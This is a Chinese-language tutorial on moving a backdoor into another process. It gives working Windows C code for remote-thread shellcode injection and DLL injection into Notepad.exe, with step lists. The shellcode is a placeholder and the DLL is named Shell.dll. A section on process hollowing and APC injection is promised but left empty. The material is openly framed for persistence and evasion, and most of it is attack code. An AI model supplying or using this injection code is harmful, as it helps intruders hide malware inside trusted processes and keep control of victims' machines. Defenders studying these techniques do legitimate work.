进程迁移
1.基础概念
进程迁移即将后门迁移到其他进程,在 DLL 劫持进程运行不稳定、需要提高信任度、权限维持等场景下会用到
2.远程线程注入
ShellCode 注入
流程
通过进程名获取进程 PID
通过进程 PID 获取进程句柄
向进程内存远程写入 ShellCode
创建远程线程执行 ShellCode
代码编写
#include <windows.h>
#include <TlHelp32.h>
// 获取进程 PID
DWORD GetProcessPID(LPCTSTR processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 创建所有进程快照
PROCESSENTRY32 p32 = { 0 };
p32.dwSize = sizeof(PROCESSENTRY32);
Process32First(hSnapshot, &p32);
do {
if (!lstrcmp(p32.szExeFile, processName)) { // 进程名正确
CloseHandle(hSnapshot); // 关闭句柄
return p32.th32ProcessID; // 返回进程 PID
}
} while (Process32Next(hSnapshot, &p32)); // 遍历进程
}
int main() {
unsigned char buf[] = "ShellCode";
int PID = GetProcessPID(L"Notepad.exe"); // 获取进程 PID
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID); // 获取进程所有权限的句柄
void* p = VirtualAllocEx(hProcess, NULL, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 指针指向远程申请的内存
WriteProcessMemory(hProcess, p, buf, sizeof buf, NULL); // 将 ShellCode 写入内存
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)p, NULL, 0, NULL); // 创建远程线程执行 ShellCode
}
DLL 注入
流程
通过进程名获取进程 PID
通过进程 PID 获取进程句柄
向进程内存远程写入 DLL 路径
获取 LoadLibrary 地址
创建远程线程调用 LoadLibrary 加载 DLL
代码编写
#include <windows.h>
#include <TlHelp32.h>
// 获取进程 PID
DWORD GetProcessPID(LPCTSTR processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 创建所有进程快照
PROCESSENTRY32 p32 = { 0 };
p32.dwSize = sizeof(PROCESSENTRY32);
Process32First(hSnapshot, &p32);
do {
if (!lstrcmp(p32.szExeFile, processName)) { // 进程名正确
CloseHandle(hSnapshot); // 关闭句柄
return p32.th32ProcessID; // 返回进程 PID
}
} while (Process32Next(hSnapshot, &p32)); // 遍历进程
}
int main() {
int PID = GetProcessPID(L"Notepad.exe"); // 获取进程 PID
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID); // 获取进程所有权限的句柄
// 远程写入 DLL 路径
wchar_t dllPath[] = L"D:\\Shell.dll";
DWORD size = (wcslen(dllPath) + 1) * sizeof(WCHAR); // unicode \0 结尾
LPVOID p = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, p, dllPath, size, NULL);
// 从进程运行自动加载的 Kernel32.dll 中获取 LoadLibrary 地址
LPTHREAD_START_ROUTINE LoadLibraryAddr = (LPTHREAD_START_ROUTINE)(FARPROC)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, LoadLibraryAddr, p, 0, NULL); // 创建远程线程调用 LoadLibrary 加载 DLL
WaitForSingleObject(hThread, INFINITE); // 等待线程执行完毕
VirtualFreeEx(hProcess, p, size, MEM_DECOMMIT); // 释放 DLL 路径内存
CloseHandle(hProcess); // 关闭句柄
}
3.进程镂空 APC注入
后面有时间更